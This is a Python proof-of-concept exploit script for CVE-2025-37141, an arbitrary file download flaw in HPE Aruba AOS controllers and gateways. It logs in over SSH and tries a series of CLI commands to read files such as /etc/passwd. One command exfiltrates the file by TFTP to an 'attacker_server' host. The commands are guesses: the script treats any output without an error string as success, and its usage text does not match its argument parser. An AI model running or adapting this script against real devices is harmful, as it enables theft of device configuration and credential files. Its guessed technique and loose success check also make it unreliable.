#!/usr/bin/env python3
"""
CVE-2025-37141 - HPE Aruba AOS-10/AOS-8 CLI Arbitrary File Download PoC
This PoC demonstrates the exploitation of an arbitrary file download vulnerability
in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor.
Requirements:
- Valid high-privilege credentials (admin/operator level)
- Network access to the target device's SSH/CLI interface
- paramiko library for SSH connection
Usage: python3 cve_2025_37141_poc.py <target_ip> <username> <password> <remote_file>
"""
import sys
import paramiko
import argparse
def exploit_arbitrary_file_download(host, port, username, password, target_file):
"""
Exploit arbitrary file download via CLI command injection/path traversal.
Attempts to use built-in CLI commands to read arbitrary files from the device.
"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
print(f"[*] Connecting to {host}:{port} as {username}...")
client.connect(host, port=port, username=username, password=password, timeout=10)
print("[+] Authentication successful")
# Invoke the Aruba CLI shell
shell = client.invoke_shell()
import time
time.sleep(2)
shell.recv(4096) # consume banner
# Attempt 1: Use 'show running-config' with path traversal in include directive
# Some AOS versions allow specifying file paths in certain show commands
commands = [
f"show running-config | include {target_file}",
f"copy {target_file} tftp://attacker_server/exfiltrated_file",
f"backup-config {target_file}",
f"show tech-support | redirect {target_file}",
# Path traversal attempt via tar command
f"tar create /tmp/loot.tar {target_file}",
f"show configuration files | include {target_file}",
]
for cmd in commands:
print(f"[*] Trying command: {cmd}")
shell.send(cmd + "\n")
time.sleep(3)
output = shell.recv(65535).decode('utf-8', errors='ignore')
print(f"[+] Output:\n{output}")
if 'Error' not in output and 'Invalid' not in output:
print(f"[+] Potential success with command: {cmd}")
return output
return None
except paramiko.AuthenticationException:
print("[-] Authentication failed. High-privilege credentials required.")
except Exception as e:
print(f"[-] Error: {e}")
finally:
client.close()
return None
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2025-37141 PoC Exploit')
parser.add_argument('host', help='Target AOS device IP address')
parser.add_argument('-u', '--username', default='admin', help='Username (high-privilege)')
parser.add_argument('-p', '--password', default='', help='Password')
parser.add_argument('-P', '--port', type=int, default=22, help='SSH port')
parser.add_argument('-f', '--file', default='/etc/passwd',
help='Remote file to download (e.g., /etc/passwd, /config/config.cfg)')
args = parser.parse_args()
print("=" * 60)
print("CVE-2025-37141 - HPE Aruba AOS Arbitrary File Download")
print("=" * 60)
result = exploit_arbitrary_file_download(
args.host, args.port, args.username, args.password, args.file
)
if result:
print("\n[+] Exploit completed. Check output above for exfiltrated data.")
else:
print("\n[-] Exploit failed. Target may be patched or commands need adjustment.")